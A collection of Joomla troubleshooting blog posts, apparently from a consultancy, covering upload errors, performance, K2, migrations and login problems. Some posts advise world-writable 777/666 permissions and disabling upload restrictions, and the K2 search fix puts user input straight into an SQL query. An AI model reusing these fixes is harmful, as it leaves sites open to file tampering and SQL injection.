    • Apache has no write permissions to the tmp directory: All files uploaded to a Joomla website are first uploaded to the tmp directory and then moved to the final directory once the upload is complete. This can be easily solved by changing permissions to the tmp directory to 777.
    • Apache has no write permissions to the images directory: As stated above, when a file is uploaded to the images directory, it is first uploaded to the tmp directory, and then moved to the images directory. If Apaches has no write permissions to the images directory, then the move fails, and subsequently the upload fails. The solution to this problem is change the permissions on the images directory to 777.

  2. This file is too large to upload

    There are two reasons for this error to happen:

    1. The file size exceeds the maximum allowed file size defined in your Media Manager Options: If, for example, the value of Maximum Size (in MB) is 100 MB in your Media Manager Options page (the Media Manager Options page can be accessed going to the Media Manager in your Joomla’s backend, and then clicking on Options on the top right) and you are trying to upload a 200 MB file, then you will see this error. The solution to this problem is to increase the Maximum Size (in MB) value to something higher.
    2. The upload_max_filesize, the post_max_size, or the memory_limit values are smaller than the size of the uploaded file: Even if you have changed the maximum size of an uploaded file to a very high number in your Media Manager Options page it might be that your host has a set, unchangeable limit on the maximum upload size. If this is the case, then you will need to ask your host to increase the maximum upload size (usually shared hosts will refuse such requests), or bite the bullet and switch to a VPS or higher (such as a dedicated server).

    Now you might be thinking, OK – that would take care of upload_max_file_size, but what about post_max_size and memory_limit? Well, the post_max_size is the total size that your POST data can have (e.g. the text and the uploaded files), which means that even if the post_max_size is slightly higher than the size of the file being uploaded, it is possible for the upload to fail, because it takes into consideration the text being submitted as well in the POST data (such as hidden fields). The memory_limit is even worse, because it encapsulates the size of the file being uploaded, as well as the memory required to serve the page. So, in the latter case, if you’re uploading a file that is 80 MB in size, and the PHP directive memory_limit is 100 MB, then the upload might fail if the upload script consumes more than 20 MB of memory (excluding, of course, the size of the uploaded file).

    Note that in the case where the size of the file uploaded is lower than post_max_size and memory_limit but the upload fails because of the reasons above, then you will see the error: “Unable to upload file” instead of “This file is too large to upload”. This is because such errors are not caught by Joomla’s check.

  3. This file type is not supported

    You cannot just upload a random file type to Joomla – any file type that you upload must be explicitly listed in the Media Manager Options page in the Legal Extensions field. So if, for example, you’re trying to upload a docx file (MS Word Document) and you see this error, then all you need to do is to add docx to the Legal Extensions field so that Joomla’s Media Manager supports it.

  4. Not a valid image

    Joomla, by default, doesn’t allow non-image uploads in the Media Manager (it is called the media manager, after all). This is because of safety concerns. A possible scenario where these safety concerns are valid is a disgruntled employee (who happens to have administrative access to your website) uploading (through Joomla’s Media Manager) a malicious PHP file that just deletes all the files that Joomla has write access to.

    An example in action where you will see this error is when you try to upload the docx file (even after adding docx to the Legal Extensions as per the above). Even though docx is now a legal file type, the upload fails because the file you’re trying to upload is not an image.

    This problem can be easily addressed by modifying Joomla’s Media Manager settings to allow uploads of non-image files. This can be done by logging in to the backend, clicking on the Options button on the top right, and then clicking on No next to Restrict Uploads. It’s that simple!

The above are the most common errors that Joomla administrators see when working on the Media Manager component. But, there is one subtle issue (it’s not really an error) where the upload fails without any error, it’s the http/https issue…

But what is the http/https issue?

The http/https issue is when the website is forced to work in https mode but the $live_site variable in the configuration.php file points to the http version of the website. When this is the case, all files uploaded through the Media Manager are processed through the https version of the website, but are submitted to the http version of the website. Since the latter version is not aware of the upload, the upload fails and the website is redirected back to the https version. This is a nasty bug in Joomla and fixing it require some changes to a core file. (Note: Changing the $live_site variable in Joomla means that even the frontend will work in https, which is typically not the desired behavior.)

If the latter problem is what is happening on your website, or if you need help with Joomla’s Media Manager, then feel free to contact us. Our rates are affordable, our work is professional, we are Joomla experts, and we pride ourselves in our availability and friendliness!

Your Joomla Website Is Really, Really Slow? Maybe It’s Your Firewall!

An old client of ours called us yesterday evening and told us that his website was extremely slow to load. Our first guess was that it was hacked, but it was not; his website was very clean. What could it be?

We then thought, well, maybe he has some huge queries running in the background and slowing down the whole website, so we enabled the MySQL Slow Query log on his Joomla website, but the log file was not populated with any slow query. We thought there was something wrong with the logging system, so we saved all the queries run by the server into a text file (all we needed to do was to slightly modify the setQuery function in the JDatabase class to write all the queries to a text file), and then we pasted all the queries into the SQL page in phpMyAdmin and ran them all in one shot, but they ran in under a second. Odd…

Maybe the load on the server was very high, we thought. So we checked the load on the server using top, and it was below 0.3 – an extremely comfortable load level (meaning that there are no load issues on the server whatsoever). Hmmm…

Our next attempt was to contact the host and tell them about the problem, maybe it’s a routing/DNS issue on their end. Their reply was immediate and clear: “The website loads extremely fast on our end, so it might be the script or it might be that your ISP is experiencing connection issues. Please take a look at your script’s code and/or check with your ISP.” A typical first response from any hosting company to throw the blame on anything but their servers. We were relentless, though… So we replied back: “We’re sure it’s not the script and we have checked the website from multiple places and multiple ISPs, and the problem is always there. Could you please check the website from outside your network? Maybe it’s a routing issue…” We got a reply that they’re going to take a “closer” look.

Sure enough, 10 minutes later, we got the following reply: “We’ve updated and tweaked your firewall… It looks like it was just the firewall blocking a little more than was necessary. It looks like the SYN_FLOOD protection was enabled, which will cause these sorts of issues sometimes. We’re sorry for the inconvenience this must have caused you. Please confirm that the issue is resolved and please let us know if you run into any more issues.” Ahaaaa!

So it was something on their network! Now, You might be wondering, what is this SYN_FLOOD thing? Well, for those of you who have some technical knowledge in the web, you might already know that there is something called DoS (Denial of Service attack). Denial of Service attack, in short, is a kind of malicious attack that will send many simultaneous connections from different IPs to the web server, until the server is brought down to its knees. One method of dealing with this is to limit the number of connections from an IP to a defined number (this is a setting that relates to the SYN_FLOOD term and is defined at the firewall level). Now remember, every file that is requested from the server and every image is a connection, which means that a web page that has 10 images, and that calls about 5 CSS files and 7 JavaScript files means that there are at least 28 connections (one master connection to the page, 12 for loading files, and 10 for loading images). If the aforementioned defined number is less than 28, then in nearly all cases, the page loading will be very slow, because the firewall will think that this is an attack (the firewall has no way to distinguish legitimate connections from malicious connections). What happened, in the case of the client, is that the maximum number of connections was always above that number – hence the extreme slowness of the website – increasing that number solved the issue.

Now, in case you’re experiencing the same problem then we suggest you call your host and ask them to check your firewall settings. If your host confirms that everything’s OK with your website (it’s important to be persistent), then the problem might be on your actual website, and this where we are very useful! Just contact us and we’ll sure fix the problem for you in no time and for a very affordable fee. By the way, we are the friendliest programmers you’ve ever worked with (and you’ll ever work with) – at least that’s what our clients tell us!

Credit Card Validation on Joomla

One of the most exciting things about owning a Joomla website is that one can build an e-commerce website in a very short period. Imagine that, it takes just a few days for you to sell your own products/services online and benefit from that huge market! But, unfortunately, in the real world, it’s not always a panacea.

Let’s take, for example, one of our clients who sells training videos on how to use the Internet. Since the absolute majority of his clientele consists of people who are nearly web-illiterate, then, needless to say, the amount of failed transactions that he was getting was enormous. For those who don’t know, there is a fee of about 20 to 35 cents for each transaction, whether that transaction is successful or not! Our client had to increase his price to offset the cost of failed transactions, a move that lowered interest in his products and ultimately reduced his profits. So, he came to us and asked for advice, and he was very glad he did.

Our first response to our client was: “Are you using Luhn to validate credit card numbers before sending them to the payment gateway?” Obviously, his immediate question was: “What is Luhn?”

And suddenly things were more interesting, because at this point we knew that we can help our client… So, let us first explain what is “Luhn”.

“Luhn” is a checksum algorithm that all credit card numbers have to comply with – in other words, a wrong credit card number will be immediately caught by the Luhn algorithm.

But, what is the advantage of using Luhn?

Since Luhn is an algorithm, then it can be implemented as a PHP function, and then integrated into VirtueMart’s checkout page (before sending the information to the payment gateway) or as a system plugin intercepting the checkout process. This means that instead of sending the payment gateway an erroneous card number, the error is caught at the Joomla level and the user is requested to verify the number. This means a saving of 20 to 35 cents every time someone enters a wrong credit card number. Since our client was having nearly a hundred failed transactions every single day because of wrong credit card numbers, we saved him hundreds of dollars every month by implementing the algorithm…

So, is that all?

No, not really… Our customer also had an even bigger problem. Many of his transactions had the wrong address, so not only he was paying the transaction fee on those transactions, he was losing a sale because his clients were not sure of the address on their credit cards. Again, he asked for our help on this one.

Our approach to solve the problem was very simple, we asked our client to scrap AVS (Address Verification System) checking and use CVV verification instead. In our experience, AVS can lead to many failed transactions and is more fraud-prone than CVV. Our customer, based on our recommendation, instructed to implement the change (e.g. drop AVS in favor of CVV) and everything worked like a charm. More sales were flowing in through his Joomla website and there was considerably less fraud. (Note that some payment gateways refuse to disable AVS checking, while others force their merchants to use AVS checking in conjunction with CVV verification.)

So, is that really all?

Well – not quite! There are several other credit card validation strategies that will reduce your fees and increase your ROI, and we can help you implement them on your Joomla website (after all, we are the Joomla experts!) Just contact us and you’ll see how efficient, knowledgeable, and reliable we are! Oh, and don’t you worry about our fees, they are really affordable.

Top 8 Reasons Why You Should Use K2

K2, for those who don’t know, is a powerful extension that can be used to completely replace Joomla’s own content management system. In other words, you no longer need to create Joomla articles and categories, you can just create K2 articles and categories. In fact, many of our customers use K2 and we are currently switching a fair few of our other customers to K2. By now, you might be wondering: “What’s the point of having a CMS within a CMS? What’s wrong with Joomla’s own CMS?”

To answer the second question, there’s nothing wrong with Joomla’s CMS – it is versatile, it is flexible, and it is powerful. But there are many reasons why K2 is more versatile, more flexible, and much more powerful. Here are the top 8:

  1. K2’s migration process is a breeze!

    Unlike Joomla, K2 does not change core and database structure with every version, and if it does, it provides a seamless way to migrate from one version to another. In fact, upgrading to the latest version of K2 consists (in most cases) of merely installing the latest version and boom – all the content is automatically migrated! There’s no need to jump through hoops to do that! While Joomla’s content migration can take hours if not days, K2’s content migration can take literally minutes (if migrated within the same Joomla version).

  2. Many prominent extensions are compatible with K2

    Although we don’t like sh404, we have to admit that it’s one of the most used and one of the most prominent Joomla extensions. Luckily, K2 has native (and easily modifiable) support for sh404 (it’s interesting to note that it’s K2 that supports sh404, and not the other way around).

    Additionally, there are many extensions that are made exclusively for K2, and all (we are using the word all responsibly here) extensions can be adapted to work with K2 instead of Joomla’s own content!

  3. K2 is easier than Joomla’s own CMS

    Hmmm… How could that be? Isn’t Joomla easy enough? Well, no it’s not! If you want to add an image to an article, you need to go to the media manager and do it from there. You will then need to go back to the article itself and insert the image from the article (unless, of course, you are using JCE Editor or another powerful editor, and not Joomla’s default editor). In K2, you can insert the image from the article itself! (You can even insert a whole gallery!)

  4. K2 has more features than Joomla’s own core

    Let’s start: Tags, native comments, custom fields, related items, etc… All of these are features that exist in K2, but not in Joomla. Many websites out there desperately need the aforementioned features, and resort to 3rd party extensions to address this!

    Oh, and did we mention native social sharing?

  5. K2 is stable

    Apart from the very few non-toxic, non-harmful bugs that we have encountered while working with K2, we can safely say that K2 is no less stable than Joomla’s own core. Also, keep in mind that it’s much easier (and less stressful) to fix something in K2’s core than fixing it in Joomla’s core.

  6. It is very easy to modify/adapt K2’s template to fit a site’s theme

    K2’s template has more or less the same structure of Joomla’s content template – and both can be overriden by the site’s template. This means that if you’re already familiar with Joomla’s theme overriding functionality, then you won’t have a problem with overriding K2’s theme!

  7. K2 has a huge community and a responsible core team

    There are many, many websites out there that use K2, and system administrators using K2 tend to share the problems that they’re encountering and the challenges that they’re facing with other K2 users. This has created over the years an active and a very large community.

    Additionally, we have noticed that K2’s core team is extremely proactive when it comes to fixing bugs. The team is also very responsible when releasing new versions (K2 is not the kind of extensions where the developers say: “Ooops, we have messed up on the previous version, please immediately uninstall it and use this version instead. No wait, we’ve messed up again! Etc…”).

  8. K2 is secure

    Last but not least – K2 is secure! In fact, we have not had a single instance so far of a hacked website where the culprit was a K2 vulnerability. We have to admit though that in many cases, the main culprit was Joomla (yes, it was an outdated version, but still!).

If you’re using K2, then we hope that you have enjoyed our list of the advantages of using K2. If you’re not using K2 but would like to, then contact us. We can easily migrate your website from using Joomla’s core for content management to using K2. The job might take a few days to accommodate all the features on your website, but it’s well worth it, and we’re not that expensive anyway! Go ahead, give us a call or shoot us an email!

How to Fix the “JUser: :_load: Unable to load user with ID: 62″ Error on Joomla

Some of the very old websites that we migrate to Joomla 2.5 may show the following error on K2 or VirtueMart pages:

JUser: :_load: Unable to load user with ID: 62 (Note that 62 might be another number, such as 42)

The reason for the error is that the component is trying to load a user (such as the user that created the article in K2) but is not able to find it (which is very normal in a Joomla 2.5 migration, since the main super administrator, who typically has an ID of 62 in Joomla 1.5, has a different ID in Joomla 2.5).

There are multiple fixes for this issue:

  • Suppress the error by changing a core file

    Although we really don’t like changing core files, we have to say that this an extremely easy fix that is guaranteed to work. Here’s how to do it:

    • Open the file user.php (through FTP) located under the libraries/joomla/user directory.
    • Remove the following line (which is line 886):

      JError::raiseWarning('SOME_ERROR_CODE', JText::sprintf('JLIB_USER_ERROR_UNABLE_TO_LOAD_USER', $id));

    • Save the file and upload it back.

    • That’s it!

    Note that even if the user.php is overwritten in a future Joomla update, all you need to do is to apply the above again and you should be OK!

  • Set the JLIB_USER_ERROR_UNABLE_TO_LOAD_USER string to empty

    This is another change to a core file, but this change is less likely to be overridden by future Joomla updates, this is because you are changing a language file. Here’s how to do it:

    • Open the file en-GB.lib_joomla.ini located under the language/en-GB directory.
    • Change the following line (which is typically line 624):

      JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Unable to load user with ID: %s"

      to:

      JLIB_USER_ERROR_UNABLE_TO_LOAD_USER=""

    …and that should work!

  • Fix the data

    Fixing the data consists of going into the database and changing all references to the user ID 62 with another user (typically the first super admin created on your Joomla website).

    This can be done either manually or through a script. If done manually, then this can take many hours (if not days) and is definitely error prone. If done through a script, then it can be done quickly but you might risk breaking the whole website if your script goes berserk. Beware!

  • Set the ID of a newly created super administrator to 62

    You can’t choose which ID a user will have before it’s created. But, once that user is created, you can change its ID. Here’s how you can do that:

    • Create a super administrator through Joomla’s User Manager.
    • Change that user’s ID to 62 in the #__users table through phpMyAdmin.

    • Change the ID of that user in the table #__user_usergroup_map to 62.

    The above is, in our opinion, the best way to address this issue, but you will need to have access to phpMyAdmin (or you need to have programming skills) to do it.

  • Fix the script that tries to load the ID

    While this might sound like the best idea, it can turn into a horrible nightmare. This is because K2 and VirtueMart are both extremely complicated and delicate extensions and trying to change their core is much worse than changing Joomla’s own core. Keep clear if you’re not a programming expert, and consider the much easier options listed above!

If you’re seeing this error on your website and you don’t feel comfortable fixing it yourself (even after reading our guide), then why not contact us? We can fix it for you in no time, we won’t charge you much, and we are very, very reliable! What are you waiting for?

How to Make Multithumb Work with K2

Many of the Joomla websites we work on have multithumb installed. Multithumb, in case you don’t know what it is, is a Joomla plugin that automatically converts images to thumbnails (or smaller images) so as not to break the layout of the page. In some cases, multithumb works perfectly, but in many cases, its settings need some tweakings for it to work…

For example, if you’re using K2 as your main content engine and you need to create thumbnails of the images in your K2 articles, then multithumb will not work in its default settings. However, it’s very easy to address that! Here’s what you need to do:

  • If you want multithumb to work in the itemlist view of K2

    1. Go to Extensions > Plug-in Manager.
    2. Search for multithumb and then click on the multithumb plugin.

    3. On the right hand side, click on Integration Parameters.

    4. Change the value of Blog Page rules to:

      option=com_content&view=featured,option=com_content&layout=blog,option=com_k2&view=itemlist

  • If you want multithumb to work in the article view of K2

    1. Do the steps 1 to 3 above.
    2. Change the value of Article Page rules to:

      option=com_content&view=article,option=com_flexicontent&view=items,option=com_k2&view=item

But, what about excluding specific categories?

Since the items in K2 and Joomla articles both have catid as the name of the field containing the id of the category that this item/article belongs to, then, thankfully, there is no need to modify the multithumb plugin to accommodate this functionality.

So, is that really it?

Well, in some cases, it is not. In fact, on many websites we worked on where most of the content came from K2, we had to modify the multithumb plugin (not just its parameters) to make it fully compatible with K2. So, if you implement the above steps and they don’t work for you, then most likely the multithumb plugin needs to be modified – contact us if you need help doing that! We are experts in Joomla, our fees are affordable, we work very fast, and we are the friendliest programmers on this planet, period!

Update October 2013: There is a bug with some versions of multithumb that results in multithumb ignoring the blog rule settings. To fix this bug, open the multithumb.php located under the plugins/content/multithumb directory, and change the first instance of IS_BLOG_RULE to is_blog_rule. If you don’t do that, multithumb will not work in K2 categories.

K2 Search Not Working for 3 Letter Words? Here’s How to Fix!

One of the projects we are currently working on is converting a website from using Joomla’s content to K2’s content. In other words, all the articles, categories, images, are migrated to K2 and the website must display all its content from K2. Additionally, all the modules that are using Joomla’s content must be modified to use K2. While it might seem an easy project, it is not…

One of the smarter modules that didn’t need to be converted was the RokAjaxSearch module. This module (for those of you who don’t know) adds an Ajax powered search functionality to a Joomla website. What was really impressive about it is that all we needed to do to make it work with K2 was to disable Joomla’s specific search plugins (specifically Search – Content and Search – Categories) and enable K2’s specific search plugin (Search – K2).

However, we noticed a small quirk in the search behavior. The module was not returning any results from search queries of 3 characters or less. For example, search for the word the returned nothing, although the site had many thousand articles (all in English), which meant that it definitely had the word the somewhere.

After spending some time investigating the issue, we’ve zeroed in on the cause. It was the following line in the k2.php plugin file located right under the plugins/search/k2 directory:

$query .= "MATCH(i.title, i.introtext, i.`fulltext, i.extra_fields_search, i.image_caption, i.image_credits, i.video_caption, i.video_credits, i.metadesc, i.metakey) AGAINST ({$text} IN BOOLEAN MODE))";

Let us explain… The above line is part of the search query that runs every time the user searches for something. For those of you who are technical, the MATCH…AGAINST pattern is an efficient mechanism to perform a full text search, and it is much better (and more efficient) than using LIKE. On the flip side, however, MATCH…AGAINST cannot work on 3 letter words (unless MySQL is compiled in a non-standard way – which is something that only very advanced system administrators can do), but LIKE can. So, we had 2 options to fix the problem:

  1. Recompile MySQL
  2. Use LIKE instead of MATCH…AGAINST for 3 letter words

Obviously, we went with the second option, and so we changed the above line to the following:

if (strlen($searchText) == 3)
	$query .= " i.title LIKE '%$searchText%' OR i.introtext LIKE '%$searchText%' OR i.`fulltext` LIKE '%$searchText%')";
else
	$query .= "MATCH(i.title, i.introtext, i.`fulltext`, i.extra_fields_search, i.image_caption, i.image_credits, i.video_caption, i.video_credits, i.metadesc, i.metakey) AGAINST ({$text} IN BOOLEAN MODE)

This has worked beautifully!

Two things to note in our fixed code: 1) $searchText is the unaltered search query that was entered by the user (after filtering, of course), and 2) we did == 3 instead of <= 3 because we wanted search queries of less than 3 characters to be ignored.

If you’re having problems with K2 search and need help with it, or if you’re having another Joomla problem, then why not contact us? We are unbelievably fast, we are hard workers, we are experts in Joomla, and our prices are very, very affordable!

Using the Slow Query Log to Reveal Bottlenecks on Your Joomla Website

Note 1: This post is targeted at system administrators with hands-on experience with MySQL. If you’re not a technical person, then please forward this post to your system administrator (you can always hire us if you don’t have one!).

Note 2: You will need root access to your server’s shell to implement the instructions in this post.

You wake up one day refreshed and ready for action, you have your coffee and your little breakfast, and then you sit down behind your desk to start work – hoping it’ll be another productive and profitable day! You turn on your PC and browse to your Joomla website to check if everything’s OK, but, to your surprise, your website loads very, very slowly. You think it might be a problem with your connection, so you visit other websites, and they’re all good. Hmmmm!

You remember reading our post that states that slowness in Joomla might be the sign of a hacked website, so you do all the necessary checks, and you rule that out. “Might it be my host?”, you wonder… So you call your host, trying to gently blame the problem on them, and asking them politely to fix it. Your host’s support personnel points out that everything is OK from their end, but the load on your server is quite high – almost reaching 100%. Aha! Now you’re on to something, because when the load is that high on a web server, then in 99% of the cases it is a heavy query (or a series of heavy queries) being executed by MySQL and reducing the performance.

So, just to make sure, you login through ssh to your server, and your run the following command:

top
(Yes – it’s just one word!)

As expected, you see the mysqld process exhausting most of your server’s processing power. So now that you’re sure that the culprit is MySQL, the next step is to determine which query (or queries) is (are) causing the bottleneck. Thankfully, there is something called the Slow Query Log, which is a MySQL tool that logs the database queries that are taking a long time to execute to a file of your choice.

Here’s how to enable the Slow Query Log in MySQL:

  • Login through ssh as root to your web server (we are assuming that your database server is the same as your web server).
  • Create the file mysql_slow_queries.log under the /tmp directory. This can be done using the following command:

    touch /tmp/mysql_slow_queries.log

  • Ensure that all users are able to write to the file that you have created above by issuing the following command:

    chmod 666 /tmp/mysql_slow_queries.log

  • Open the file /etc/my.cnf in edit mode (through vi or nano) and add the following line (to the end of the file):

    log_slow_queries=/tmp/mysql_slow_queries.log

    This tells MySQL to write all slow queries to the file mysql_slow_queries.log located under the tmp directory.

  • Restart MySQL. This is done using the following command:

    /etc/init.d/mysql restart

    Note that restarting MySQL will cause a very brief downtime on your website. If the above command hangs or fails, then contact your host immediately!

After doing the above, MySQL will log all queries which are taking more than 2 seconds (2 seconds is the default) to execute. To change the minimum amount of time for a query to considered as slow (and thus logged), you need only to change the value of long_query_time in the /etc/my.cnf file (and, of course, restart MySQL).

Now, the next time your Joomla website has performance issues because of a slow query, you will know which one it is (because it will be logged), and once you know that, all you need to do is to optimize that query. So, now your question is most likely: “How can I optimize a query?”

Well, a query is slow because of two main reasons:

  • One or more fields in the WHERE or ON condition (in case of a JOIN) is not indexed.
  • The query is badly written.

In the first case, you will need to add indexes to the affected field(s). In the second case, you will need to rewrite the query.

We hope this post helps you identify those queries affecting the performance of your Joomla website. If it doesn’t, of if it does, but you still need help fixing those queries, then why not contact us. We are experts in Joomla, our work is of top-notch quality, our fees are reasonable, and we are the friendliest developers on this planet!

“Fatal error: Cannot access protected property ContentViewArticle::$params” Error in Joomla

About 70% of the work we’re doing nowadays is migrating Joomla websites from version 1.5 to version 2.5. A common error that we get while migrating a template is the following:

Fatal error: Cannot access protected property ContentViewArticle::$params

We have seen the above error so many times so far that we now know the solution by heart.

So, how does this problem happen?

Old auto-generated Artisteer templates have a file called functions, which is located in the root directory of the Joomla’s template. Some functions (located in the functions file), such as the artxPageTitle function, try to access protected properties directly, which is technically illegal, and thus returning the above fatal error.

And, how can the problem be solved?

Many websites, even Joomla’s official website, suggest solutions that most likely will not work, or that will work, but will destroy some functionality on the website. This is a bit disappointing, because the solution couldn’t be simpler. Here’s how you can solve the problem:

  • Locate the problematic line (usually the error message will specify which line is that).
  • Check what is the object name trying to access the params property (or attribute). For example, if you have something like $page->params in your code then the object name that you’re looking for is $page.

  • Add the following line in the top of the function that has the problem (assuming the object name is $page):

    jimport( 'joomla.html.parameter' );
    $params = new JParameter($page->get('params'));

  • Replace all occurrences of $page->params with $params in your function. (again, we are assuming that the name of the object trying to access the $params property is $page).

  • That’s it!

A real life example would be the artxPageTitle function which should change from:

function artxPageTitle($page, $criteria = null, $key = null){
	if ($criteria === null)
		$criteria = $page->params->def('show_page_title', 1);
	return $criteria
		? ('<span class="componentheading' . $page->params->get('pageclass_sfx') . '">'
			. $page->escape($page->params->get($key === null ? 'page_title' : $key)) . '</span>')
		: '';
}

to:

function artxPageTitle($page, $criteria = null, $key = null){
	jimport( 'joomla.html.parameter' );
	$params = new JParameter($page->get('params'));

	if ($criteria === null)
		$criteria = $params->def('show_page_title', 1);
	return $criteria
		? ('<span class="componentheading' . $params->get('pageclass_sfx') . '">'
			. $page->escape($params->get($key === null ? 'page_title' : $key)) . '</span>')
		: '';
}

If this post is a bit too technical for you, then that's why we're here for! All you need to do is to contact us and you can rest assured that we'll fix this problem for you in a glimpse and that we won't charge you much!

Using Forward Slash Instead of a Hyphen in K2’s sh404 Links

Yes – we know – the title of this post couldn’t be more odd, but here’s the scenario:

  • We were migrating a large website from Joomla 1.5 to Joomla 2.5.
  • Nearly all of the content of the migrated website was created in K2 and the website was using sh404.
  • The links on the old Joomla 1.5 website had the following format: http://www.ourclientjoomlawebsite.com/[article-id]/[article-alias].html.
  • In the migrated Joomla 2.5 website, the links had the following format http://www.ourclientjoomlawebsite.com/[article-id]-[article-alias].html.

As you can see from the above, the links had a dash between the article id and the article alias in Joomla 2.5, however, in Joomla 1.5, they had a forward slash.

Now we have tried everything to change that dash into a forward slash – we changed every value in K2 sh404’s settings (which can be accessed in K2’s configuration from the K2 component, and not from sh404) – but nothing worked. The dash was always a dash…

So we checked K2’s code to see if the dash was hard-coded somewhere, and, to our surprise it was: Here’s line 181 of the file com_k2.php located under the components/com_k2/sef_ext directory:

$title[] = $row->id.'-'.$row->$sh404SefTitleAlias;

It was obvious that the dash was hard coded in the code…

So, what did we do to fix the problem?

We just changed the above line (in the file com_k2.php) to the following…

$title[] = $row->id.'/'.$row->$sh404SefTitleAlias;

… and K2 was intelligent enough to handle the rest! We purged the URLs in sh404 and we re-visited the website and all the links were now OK! Not too bad for a one-character-change in the code, huh?

Now, in case you have a problem with K2’s links in sh404, or just any other problem on your Joomla website, then you can rest assured that we can fix it for you. We are professional, we are hard working, we are fast, we know Joomla inside out, and we won’t charge you much. Come on, what are you waiting for, contact us!

The “Rebuild” Button In Joomla’s Menu Manager Page – A Double Edged Sword!

You have probably seen the “Rebuild” button on the Menu Manager page on your Joomla website for some time, but most likely you haven’t pressed it – because you didn’t know what it is, and perhaps you thought: “Maybe it’s not such a good idea to press that button”. Well, we think you’re right!

So, what does the Rebuild button do?

The rebuild button simply re-creates the paths of each menu item based on its alias, as well as the path of its parent item. Additionally, it fixes the lft and rgt fields on your website (the lft and rgt fields are beyond the scope of this post – let’s just say that if they are wrong then you will have issues with your Joomla website). For example, let’s say you have a root menu item called Products that has an alias field of products. Let’s also say that you have a child menu item (of the Products menu item) called Product 1. Assuming that the latter’s alias is product-1, then the natural path of that menu item is: products/product-1.

So far so good…

But, what if your menu item is not using a natural path?

Let’s say that you have a component that manually modifies menu items’ paths. For example, instead of having the above path as products/my-product, the component saves it as products/1-product, or maybe it saves it as my-products/product-1. Pressing on the Refresh button will change the path back to product/product-1, which is most likely something that you do not want; what if you have many internal and external links pointing to my-products/product-1, and all of a sudden that link on your website no longer exists?

So, what is the point of having a Rebuild button?

The Rebuild button is Joomla’s attempt to fix menu item issues caused by 3rd party extensions (that update menu items). For example, we had a case yesterday where one of our clients was creating a perfectly normal menu item, but that menu item was not working on the website (it was returning a 404 – Article Not Found or a 404 – Category Not Found – the first error was returned when the alias didn’t have a dash inside it, the second one happened when the alias did have a dash). Clicking on the Rebuild button fixed the problem – unfortunately, it created an array of issues with many other menu items. So, while the Rebuild button may break many links on your website (which paths are modified by 3rd party extensions), it may also fix some issues you’re having with menu items.

But shouldn’t Joomla fix itself automatically?

In all fairness, it shouldn’t. Extensions that update menu items should be meticulously written – otherwise, they can break the website. Joomla’s Rebuild button is just attempting to fix their mess, but by fixing their mess, it might create more mess.

However, Joomla should take into consideration customized menu items – this can be solved by having a field (in the #__menu table) that will state whether a menu item has been customized or not, so that it’ll be ignored (by it we are referring to the menu item) when the Rebuild button is pressed. This is the best solution to handle this issue – but not the perfect solution, because Joomla may need to still update the lft and rgt fields of this row for data integrity reasons.

Now – let’s talk about you. If you’re having problems with menu items, or if you clicked the Rebuild button and all hell broke loose, then fear not – we are there for you. Just contact us and we’ll help you fix your website in record time and for a very small cost!

10 Reasons Why You’re Not Able to Login to Your Joomla Website

We have so far resolved literally hundreds of cases where people were not able to login to their Joomla websites. Since our aim is to always make the life of a Joomla administrator as easy as possible, we have decided to list the top 10 reasons that result in the inability for one to login to a Joomla website, as well as the solution to each one of them. Without further delay, here they are:

  1. The user is trying to login with a wrong password

    Yes – we know it’s very obvious, but sometimes even the most obvious things are not that obvious, especially when one mistakes a zero (0) with an o (the letter o), an l (lowercase L) with an I, thinks that the question mark at the end of the password is just a typo (this happened to us!), or confuses a dash (-) with an underscore (_).

    Of course, in many cases, the user is entering the password that he used to use all the time, except that that password has changed – probably by someone else or by a script.

    Remedy: There are multiple remedies to this solution. If one has FTP access, then he can just create a script containing and UPDATE query that will reset the user’s password. If one is blessed with a phpMyAdmin access, then all he needs to do is to login to phpMyAdmin, go the #__users table, and change the password field for the affected user with the password of his choice (note that he must choose MD5 as a Function for the password to work).

  2. The account for that particular user is blocked

    Any user (even a super administrator) can be blocked from Joomla’s backend – additionally, a user can be blocked if he had too many failed login attempts. Once that user is blocked, he won’t be able to login (even if the password is correct).

    Remedy: Any user can be unblocked by logging in to phpMyAdmin, going to the #__users table, and then setting the block field for the affected user to 0 (instead of 1).

  3. There is a JavaScript error on the login page

    Joomla needs JavaScript to login users to the backend – as such, a JavaScript error on your login page can corrupt the login routine (so, when users click on the Log in button, nothing will happen).

    Remedy: Check your browser’s error console for any JavaScript errors if you’re pressing the Log in button and nothing is happening. If you’re not a programmer, then we suggest you let a programmer handle this for you: JavaScript errors are super hard to debug and fixing a JS error can break something else.

  4. The Joomla backend login module does not exist

    When this happens, not only the person won’t be able to login to Joomla – he just won’t be able to see the login form. We have discussed this issue in detail here.

    Remedy: We suggest that you read the above post for the complete solution; in short, what you need to do is to restore the mod_login folder under administrator/modules directory.

  5. There is a fatal error on your website

    When this happens – you either see a completely blank page or a descriptive error, depending on your error reporting settings. Fatal errors are usually caused by an error in a 3rd party system plugin or by a recent modification to your Joomla’s core.

    Remedy: The cause of this fatal error varies from one case to another, and, as such, we can’t give a generic solution to this one. If you’re a programmer, you can enable error reporting (if it’s not already enabled) to see what the actual error is and to fix it. If you’re not a programmer, then your best bet would be to call some Joomla experts (like us!). Note: We have written about this exact scenario before.

  6. The admin template does not exist or Joomla doesn’t have enough permissions to read it

    We have seen this case a few times and we have written about it. When the administrator template doesn’t exist, then the login form will be completely blank (similarly to the previous point) and as such, the Joomla administrator won’t be able to login.

    Remedy: Reset the permissions (recursively) on the admin template to 444 to allow Joomla to read it, or, if the admin template was completely deleted, then re-upload it from scratch or fallback to the default one. (By the way, we’re surprised that Joomla doesn’t fall back automatically in the backend to another template when that template can’t be read because this is what it does on the frontend.)

  7. Joomla is unable to write to the logs directory

    In order for Joomla to complete a successful login, it must have write access to the logs directory located under the root directory of the website. If it doesn’t, then the login fails and no error is displayed – which is very, very confusing!

    Remedy: The problem can be solved by changing the permissions of the logs directory under the Joomla website’s root to 777. (This can be done in any FTP client).

  8. The Joomla Authentication plugin is disabled

    99.99% of Joomla websites use the Joomla Authentication plugin for logging in users through the backend. The remaining 0.01% use other authentication plugins, such as ldap and gmail. For the 99.99% of Joomla websites, if the Joomla Authentication plugin is disabled, then people will be redirected back to the login page (with no error) when they try to login.

    Remedy: This issue can be addressed by logging in to phpMyAdmin, going to the #__extensions table, and then setting the enabled field of the plg_joomla_authentication plugin to 1.

    Note: When this problem happens, and if other authentications methods (such as ldap) are enabled, then the login process will take a while before redirecting back to the login page (this is because Joomla will be checking the ldap directory, which usually takes some time).

  9. The Joomla User plugin is disabled

